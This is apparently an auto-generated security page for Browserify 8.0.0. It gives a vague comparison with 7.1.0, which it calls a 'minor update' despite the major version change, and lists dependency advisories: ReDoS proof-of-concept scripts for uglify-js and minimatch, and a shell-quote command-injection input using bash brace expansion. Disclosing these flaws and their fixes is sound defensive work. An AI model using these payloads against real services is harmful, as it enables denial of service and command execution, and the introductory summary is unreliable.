Browserify version 8.0.0 represents a minor update over its predecessor, version 7.1.0, both maintaining the core function of enabling Node.js-style require() statements in browser-side JavaScript. Examining the package metadata reveals a nearly identical dependency list, including crucial modules like umd, url, glob, module-deps, and various browser shims. This indicates that the fundamental architecture and reliance on key libraries remain consistent between the two versions, ensuring established build processes are unlikely to experience major disruptions. The dependency version constraints are also largely unchanged, suggesting compatibility is prioritized.
However, developers should note the updated release date; 8.0.0 was published shortly after 7.1.0. While the dependency lists are similar, this could signal bug fixes, performance enhancements, or minor internal adjustments aimed at overall stability and efficiency. Reviewing the changelog or commit history (accessible via the repository URL) is highly recommended to understand the precise nature of these updates. Minor upgrades within core dependencies, even if seemingly small, can sometimes impact the finer details of the build process. Developers looking for the most stable and up-to-date experience with Browserify should, therefore, consider upgrading to version 8.0.0, while still meticulously verifying compatibility within their specific project context.
All the vulnerabilities related to the version 8.0.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.